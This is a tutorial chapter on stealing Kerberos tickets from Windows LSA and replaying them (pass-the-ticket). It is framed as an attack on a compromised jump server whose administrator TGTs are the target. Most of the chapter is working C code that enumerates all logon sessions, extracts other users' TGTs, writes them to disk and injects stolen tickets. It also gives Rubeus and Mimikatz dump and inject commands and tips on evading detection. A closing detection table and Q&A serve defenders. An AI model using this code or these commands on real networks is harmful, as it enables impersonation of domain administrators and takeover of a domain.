Chapter 102

Kerberos Ticket Extraction and Pass-the-Ticket

Enumerating all logon sessions, extracting TGT and TGS tickets from the LSA cache via KerbQueryTicketCacheEx2Message, exporting .kirbi format, injecting stolen tickets with KerbSubmitTicketMessage

Scenario

You've compromised a jump server where multiple privileged administrators connect throughout the day. Each administrator's RDP session has live Kerberos TGTs cached in memory — tickets that allow authentication as that administrator to any service in the domain. You extract these TGTs from the LSA ticket cache, export them to .kirbi files, and inject them into your own logon session. Now you're authenticating as a Domain Admin without ever knowing their password or touching LSASS.

Kerberos Ticket Cache Architecture

Windows Kerberos ticket storage (in-memory, managed by LSASS): LSASS process memory: KerbLogonSessionTable[] ← one entry per LUID (logon session) │ ├── LUID 0x3e7 (SYSTEM logon) → no real Kerberos tickets ├── LUID 0x3e4 (Local Service) ├── LUID 0x1234ab (Domain User login session) │ └── KerbTicketList: │ ├── TGT: krbtgt/CORP.LOCAL [valid 10 hours] │ ├── TGS: cifs/fileserver01 [valid 10 hours] │ ├── TGS: http/sharepoint [valid 10 hours] │ └── TGS: MSSQLSvc/db01:1433 [valid 10 hours] │ └── LUID 0x5678cd (Domain Admin in RDP session) └── KerbTicketList: └── TGT: krbtgt/CORP.LOCAL [STEAL THIS] Accessing another user's ticket cache: - Requires elevated privilege (SeDebugPrivilege / SYSTEM) to impersonate - Use LsaEnumerateLogonSessions() to find all LUIDs - Pass the target LUID in KerbQueryTicketCacheEx2Message - Without elevation: can only see your own session's tickets Each ticket is a KERB_TICKET_CACHE_INFO_EX2 structure with: - ClientName, ClientRealm, ServerName, ServerRealm - StartTime, EndTime, RenewUntil (FILETIME) - TicketFlags (forwardable, renewable, etc.) - SessionKeyType (etype: 23=RC4, 18=AES-256) - BranchId (session identifier)

Listing Tickets via KerbQueryTicketCacheEx2Message

#include <windows.h>
#include <ntsecapi.h>
#include <stdio.h>
#pragma comment(lib, "secur32.lib")

// Message type for listing tickets (ex2 includes session key info)
#define KERB_QUERY_TICKET_CACHE_EX2_MESSAGE 14

typedef struct _KERB_QUERY_TKT_CACHE_EX2_REQUEST {
    KERB_PROTOCOL_MESSAGE_TYPE MessageType;
    LUID                       LogonId;   // 0 = current session, or target LUID
} KERB_QUERY_TKT_CACHE_EX2_REQUEST;

typedef struct _KERB_TICKET_CACHE_INFO_EX2 {
    UNICODE_STRING ClientName;
    UNICODE_STRING ClientRealm;
    UNICODE_STRING ServerName;
    UNICODE_STRING ServerRealm;
    LARGE_INTEGER  StartTime;
    LARGE_INTEGER  EndTime;
    LARGE_INTEGER  RenewUntil;
    ULONG          EncryptionType;    // 18=AES-256, 23=RC4
    ULONG          TicketFlags;
    ULONG          SessionKeyType;
    ULONG          BranchId;
} KERB_TICKET_CACHE_INFO_EX2;

typedef struct _KERB_QUERY_TKT_CACHE_EX2_RESPONSE {
    KERB_PROTOCOL_MESSAGE_TYPE MessageType;
    ULONG                      CountOfTickets;
    KERB_TICKET_CACHE_INFO_EX2 Tickets[1];  // variable length
} KERB_QUERY_TKT_CACHE_EX2_RESPONSE;

void ListTicketsForLUID(HANDLE lsaHandle, ULONG authPackage, LUID luid) {
    KERB_QUERY_TKT_CACHE_EX2_REQUEST req = {
        .MessageType = (KERB_PROTOCOL_MESSAGE_TYPE)KERB_QUERY_TICKET_CACHE_EX2_MESSAGE,
        .LogonId = luid
    };

    KERB_QUERY_TKT_CACHE_EX2_RESPONSE *resp = NULL;
    ULONG respLen = 0;
    NTSTATUS subStatus;

    NTSTATUS status = LsaCallAuthenticationPackage(
        lsaHandle, authPackage, &req, sizeof(req),
        (PVOID*)&resp, &respLen, &subStatus);

    if (status != 0 || subStatus != 0) return;

    printf("  Tickets in cache: %lu\n", resp->CountOfTickets);

    for (ULONG i = 0; i < resp->CountOfTickets; i++) {
        KERB_TICKET_CACHE_INFO_EX2 *t = &resp->Tickets[i];

        // Is this a TGT? ServerName starts with "krbtgt/"
        BOOL isTGT = (t->ServerName.Length >= 14 &&
                      wcsncmp(t->ServerName.Buffer, L"krbtgt/", 7) == 0);

        wprintf(L"    [%s] %.*s (%lu) → %.*s@%.*s  etype:%lu  flags:0x%08X\n",
                isTGT ? L"TGT" : L"TGS",
                t->ServerName.Length / 2,   t->ServerName.Buffer,
                i,
                t->ClientName.Length / 2,   t->ClientName.Buffer,
                t->ClientRealm.Length / 2,   t->ClientRealm.Buffer,
                t->EncryptionType,
                t->TicketFlags);
    }

    LsaFreeReturnBuffer(resp);
}

void ListAllSessions() {
    HANDLE lsaHandle;
    LsaConnectUntrusted(&lsaHandle);

    LSA_STRING pkg = { (USHORT)strlen(MICROSOFT_KERBEROS_NAME_A),
                       (USHORT)(strlen(MICROSOFT_KERBEROS_NAME_A)+1),
                       MICROSOFT_KERBEROS_NAME_A };
    ULONG authPackage;
    LsaLookupAuthenticationPackage(lsaHandle, &pkg, &authPackage);

    // Enumerate all logon sessions — requires SeDebugPrivilege for other users
    ULONG sessionCount;
    PLUID sessions;
    LsaEnumerateLogonSessions(&sessionCount, &sessions);

    printf("[*] Total logon sessions: %lu\n", sessionCount);

    for (ULONG i = 0; i < sessionCount; i++) {
        PSECURITY_LOGON_SESSION_DATA sessionData;
        LsaGetLogonSessionData(&sessions[i], &sessionData);

        if (sessionData) {
            wprintf(L"\n[Session LUID=%08x:%08x] User: %.*s\\%.*s  LogonType: %lu\n",
                    sessions[i].HighPart, sessions[i].LowPart,
                    sessionData->LogonDomain.Length / 2, sessionData->LogonDomain.Buffer,
                    sessionData->UserName.Length / 2,    sessionData->UserName.Buffer,
                    sessionData->LogonType);
            LsaFreeReturnBuffer(sessionData);
        }

        ListTicketsForLUID(lsaHandle, authPackage, sessions[i]);
    }

    LsaFreeReturnBuffer(sessions);
    LsaClose(lsaHandle);
}

Extracting the Full Encoded Ticket Bytes

Listing tickets gives metadata only. To get the actual ticket bytes for export, use KerbRetrieveEncodedTicketMessage (message type 8) with the specific LUID and SPN — the same call used for Kerberoasting, but now with the target user's LUID instead of your own:

// Message type 6: KerbRetrieveTicketMessage (extracts from cache, no KDC contact)
// The difference from type 8 (KerbRetrieveEncodedTicket):
//   type 6 = return existing cached ticket, don't request new
//   type 8 = can request from KDC if not cached
#define KERB_RETRIEVE_TICKET_MESSAGE       6
#define KERB_RETRIEVE_ENCODED_TICKET_MESSAGE 8
#define KERB_RETRIEVE_TICKET_CACHE_ONLY    0x2  // CacheOptions: don't go to KDC

BOOL ExtractTicketForLUID(HANDLE lsaHandle, ULONG authPackage,
                           LUID targetLUID, const WCHAR *serverName,
                           BYTE **ticketBytes, ULONG *ticketSize) {
    DWORD nameLen = (DWORD)(wcslen(serverName) * sizeof(WCHAR));
    DWORD reqSize = sizeof(KERB_RETRIEVE_TKT_REQUEST) + nameLen + sizeof(WCHAR);
    KERB_RETRIEVE_TKT_REQUEST *req = (KERB_RETRIEVE_TKT_REQUEST*)calloc(1, reqSize);

    req->MessageType    = (KERB_PROTOCOL_MESSAGE_TYPE)KERB_RETRIEVE_ENCODED_TICKET_MESSAGE;
    req->LogonId        = targetLUID;    // ← key: specify target session
    req->CacheOptions   = KERB_RETRIEVE_TICKET_CACHE_ONLY;  // cache only, no KDC
    req->EncryptionType = 0;            // 0 = whatever is cached

    WCHAR *nameBuf = (WCHAR*)((BYTE*)req + sizeof(*req));
    wcscpy_s(nameBuf, nameLen / sizeof(WCHAR) + 1, serverName);
    req->TargetName.Buffer        = nameBuf;
    req->TargetName.Length        = (USHORT)nameLen;
    req->TargetName.MaximumLength = (USHORT)(nameLen + sizeof(WCHAR));

    KERB_RETRIEVE_TKT_RESPONSE *resp = NULL;
    ULONG respLen = 0;
    NTSTATUS subStatus;
    NTSTATUS status = LsaCallAuthenticationPackage(
        lsaHandle, authPackage, req, reqSize,
        (PVOID*)&resp, &respLen, &subStatus);

    free(req);
    if (status != 0 || subStatus != 0) return FALSE;

    *ticketSize  = resp->Ticket.EncodedTicketSize;
    *ticketBytes = (BYTE*)malloc(*ticketSize);
    memcpy(*ticketBytes, resp->Ticket.EncodedTicket, *ticketSize);
    LsaFreeReturnBuffer(resp);
    return TRUE;
}

Exporting Tickets to .kirbi Format

.kirbi = base64( DER-encoded KRB_CRED ) To construct a KRB_CRED from an extracted ticket: 1. Wrap the raw encoded ticket bytes in an ASN.1 KRB_CRED structure 2. Set tickets[0] = the extracted ticket 3. Set enc-part to unencrypted (EncryptionType=0) or keep session key 4. DER-encode the whole structure 5. Base64-encode for .kirbi file Production implementations (Mimikatz, Rubeus) handle the ASN.1 wrapping. Rubeus dump /nowrap outputs base64-encoded .kirbi tickets directly: Rubeus dump /luid:0x5678cd /nowrap ← dump all tickets for a specific LUID Rubeus dump /service:krbtgt /nowrap ← dump all TGTs Rubeus dump /user:administrator /nowrap ← dump all tickets for a user Mimikatz equivalent: privilege::debug sekurlsa::tickets /export ← writes .kirbi files to current directory The .kirbi file is consumed by: Rubeus ptt /ticket:base64ticket Mimikatz kerberos::ptt ticket.kirbi impacket ticketer.py (for custom ticket creation)

Cross-Session Ticket Extraction — The Full Attack

// Full attack: list all sessions as SYSTEM, find admin TGTs, extract them
// Requires: SeDebugPrivilege (or running as SYSTEM)

void StealAdminTGTs() {
    // Elevate to SYSTEM for cross-session access
    EnablePrivilege(SE_DEBUG_NAME);  // opens SYSTEM token or adjusts debug priv

    HANDLE lsaHandle;
    LSA_STRING pkg = { (USHORT)strlen(MICROSOFT_KERBEROS_NAME_A),
                       (USHORT)strlen(MICROSOFT_KERBEROS_NAME_A) + 1,
                       MICROSOFT_KERBEROS_NAME_A };
    ULONG authPkg;
    LsaConnectUntrusted(&lsaHandle);
    LsaLookupAuthenticationPackage(lsaHandle, &pkg, &authPkg);

    ULONG sessionCount;
    PLUID sessions;
    LsaEnumerateLogonSessions(&sessionCount, &sessions);

    for (ULONG i = 0; i < sessionCount; i++) {
        PSECURITY_LOGON_SESSION_DATA sd;
        LsaGetLogonSessionData(&sessions[i], &sd);
        if (!sd) continue;

        // Skip SYSTEM/LOCAL SERVICE/NETWORK SERVICE LUIDs
        if (sessions[i].LowPart == 0x3e7 || sessions[i].LowPart == 0x3e4 ||
            sessions[i].LowPart == 0x3e5) {
            LsaFreeReturnBuffer(sd);
            continue;
        }

        // Try to extract TGT (krbtgt SPN) for this session
        WCHAR tgtSPN[256];
        _snwprintf_s(tgtSPN, 256, _TRUNCATE,
                     L"krbtgt/%.*s",
                     sd->LogonDomain.Length / 2, sd->LogonDomain.Buffer);

        BYTE *ticket = NULL;
        ULONG ticketLen = 0;

        if (ExtractTicketForLUID(lsaHandle, authPkg, sessions[i], tgtSPN, &ticket, &ticketLen)) {
            wprintf(L"[+] Extracted TGT for %.*s\\%.*s  LUID=%08x:%08x  (%lu bytes)\n",
                    sd->LogonDomain.Length/2, sd->LogonDomain.Buffer,
                    sd->UserName.Length/2,    sd->UserName.Buffer,
                    sessions[i].HighPart, sessions[i].LowPart,
                    ticketLen);

            // Write raw ticket bytes to disk as .kirbi base (no ASN.1 wrapping in this example)
            WCHAR fname[256];
            _snwprintf_s(fname, 256, _TRUNCATE, L"%.*s_%08x.kirbi.raw",
                         sd->UserName.Length/2, sd->UserName.Buffer,
                         sessions[i].LowPart);
            HANDLE hOut = CreateFileW(fname, GENERIC_WRITE, 0, NULL,
                                         CREATE_ALWAYS, 0, NULL);
            DWORD written;
            WriteFile(hOut, ticket, ticketLen, &written, NULL);
            CloseHandle(hOut);
            free(ticket);
        }

        LsaFreeReturnBuffer(sd);
    }

    LsaFreeReturnBuffer(sessions);
    LsaClose(lsaHandle);
}

Pass-the-Ticket — Injecting a Stolen Ticket

Inject a .kirbi ticket into the current logon session using KerbSubmitTicketMessage (message type 21). After injection, any Kerberos authentication from this process will use the injected ticket — effectively impersonating the ticket's owner:

#define KERB_SUBMIT_TICKET_MESSAGE 21

typedef struct _KERB_SUBMIT_TKT_REQUEST {
    KERB_PROTOCOL_MESSAGE_TYPE MessageType;
    LUID                       LogonId;  // 0 = current session
    ULONG                      Flags;
    ULONG                      Key;      // key offset (0 for no session key)
    ULONG                      KerbCredSize;
    ULONG                      KerbCredOffset;
    // Followed by: the raw KRB_CRED bytes
} KERB_SUBMIT_TKT_REQUEST;

BOOL PassTheTicket(const BYTE *krbCredBytes, ULONG krbCredLen) {
    HANDLE lsaHandle;
    ULONG authPkg;
    LSA_STRING pkg = { (USHORT)strlen(MICROSOFT_KERBEROS_NAME_A),
                       (USHORT)strlen(MICROSOFT_KERBEROS_NAME_A)+1,
                       MICROSOFT_KERBEROS_NAME_A };
    LsaConnectUntrusted(&lsaHandle);
    LsaLookupAuthenticationPackage(lsaHandle, &pkg, &authPkg);

    ULONG reqSize = sizeof(KERB_SUBMIT_TKT_REQUEST) + krbCredLen;
    KERB_SUBMIT_TKT_REQUEST *req = (KERB_SUBMIT_TKT_REQUEST*)calloc(1, reqSize);

    req->MessageType     = (KERB_PROTOCOL_MESSAGE_TYPE)KERB_SUBMIT_TICKET_MESSAGE;
    req->KerbCredSize    = krbCredLen;
    req->KerbCredOffset  = sizeof(KERB_SUBMIT_TKT_REQUEST);

    // Credential bytes placed immediately after the struct
    memcpy((BYTE*)req + sizeof(*req), krbCredBytes, krbCredLen);

    PVOID respBuf = NULL;
    ULONG respLen = 0;
    NTSTATUS subStatus;
    NTSTATUS status = LsaCallAuthenticationPackage(
        lsaHandle, authPkg, req, reqSize, &respBuf, &respLen, &subStatus);

    free(req);
    LsaClose(lsaHandle);

    if (status == 0 && subStatus == 0) {
        printf("[+] Ticket injected successfully\n");
        printf("[+] Run: dir \\\\fileserver\\share  (authenticated as ticket owner)\n");
        return TRUE;
    }
    printf("[-] Ticket injection failed: 0x%08X / 0x%08X\n", status, subStatus);
    return FALSE;
}

TGT vs TGS — Attack Value Comparison

Ticket TypeContentHow to UseLifetime
TGT (krbtgt/DOMAIN)Encrypted with krbtgt hash; contains client identity + session keyInject with PtT → request TGS for any service as the owner; most powerful10 hours default; renewable up to 7 days
TGS (cifs/server01)Encrypted with target service's key; grants access to that specific serviceInject with PtT → authenticate to that one service; narrower scope10 hours default; not renewable
Silver Ticket (forged TGS)Forged offline using service account's NT hashAuthenticate directly to a service without KDC involvement; undetectable at DC levelSet by forger (often 10+ years)
Golden Ticket (forged TGT)Forged offline using krbtgt NT hashAuthenticate as any user to any service in the domain; full domain controlSet by forger (often 10+ years)
Ticket Freshness vs. LUID

A stolen TGT injected via KerbSubmitTicketMessage is bound to the LUID of the session you inject into. If you inject into your own session (LUID 0), the ticket is available to your process. If you want it isolated (so cleanup doesn't affect other sessions), create a sacrificial logon session with LsaLogonUser using anonymous credentials, get its LUID, inject the stolen ticket into that LUID, and then run your lateral movement tools in the context of that logon session. Rubeus's createnetonly flag does exactly this.

Detection

SignalSourceNotes
Event 4648 — Explicit credentials used (logon with alternate credentials)Security LogPass-the-Ticket doesn't always trigger this; depends on usage path
LsaCallAuthenticationPackage calls to Kerberos with KerbSubmitTicketMessageEDR / ETW Kerberos providerHigh fidelity — rare for non-Kerberos client code to call this message type
Ticket used with source IP ≠ original machine that requested the TGT (Event 4768/4769 IP mismatch)DC Security LogDC-side anomaly: the same ticket authenticating from two different IPs in short succession
Kerberos ticket with unusual lifetime (Golden/Silver tickets often have 10+ year expiry)DC Security Log / TGS validationEvent 4769 with ticket lifetime beyond domain policy is a strong signal
LsaEnumerateLogonSessions called from non-system processEDR API hookUnusual for user-space tools — typically only security products call this

Q&A

If Credential Guard is enabled, can you still extract Kerberos tickets from LSA?

Credential Guard moves the LSA Isolated process (lsaiso.exe) to VTL1 (Secure Kernel). In this configuration, the NTLM hashes and Kerberos long-term keys (the actual NT hash used to decrypt TGTs) are stored in VTL1 memory — inaccessible to VTL0 code, including LSASS in VTL0. This means you cannot extract the krbtgt hash or service account NT hashes from LSASS even with full kernel access. However, the Kerberos ticket cache itself — the list of live TGTs and TGS tickets — is still managed by VTL0 LSASS. The tickets are in use, and the session key material needed to use them is in VTL0. This means KerbRetrieveEncodedTicketMessage still works and can extract the raw encoded ticket bytes. The tickets themselves are not protected by Credential Guard — only the long-term keys that would be needed to forge new tickets are. So Pass-the-Ticket attacks (steal and re-use existing tickets) still work even with Credential Guard enabled. What Credential Guard prevents is Pass-the-Hash and Golden Ticket creation (since the krbtgt hash is protected). This is a crucial distinction for detection engineering: Credential Guard does not eliminate Kerberos ticket theft attacks.

What is the difference between KerbPurgeTicketCacheMessage and manually replacing tickets?

KerbPurgeTicketCacheMessage (message type 3) removes tickets from the specified LUID's cache. You can call this to purge your own tickets, forcing re-authentication — useful in cleanup or in attack scenarios where you want to remove evidence of ticket manipulation from your own session. It does not remove tickets from other sessions (requires privilege to purge another LUID's cache). When attackers inject a stolen ticket with KerbSubmitTicketMessage, it is added to the cache alongside any existing tickets for the same service — the cache can hold multiple tickets for the same principal. If there's already a TGT in the cache, the injected one coexists. The LSA uses the newest ticket by default. To cleanly replace a ticket, purge first, then inject. Some detection heuristics look for KerbPurgeTicketCacheMessage followed immediately by KerbSubmitTicketMessage from the same process as an indicator of ticket manipulation. Rubeus's ptt command does NOT purge first — it simply injects alongside existing tickets, which is less detectable than purge-then-inject.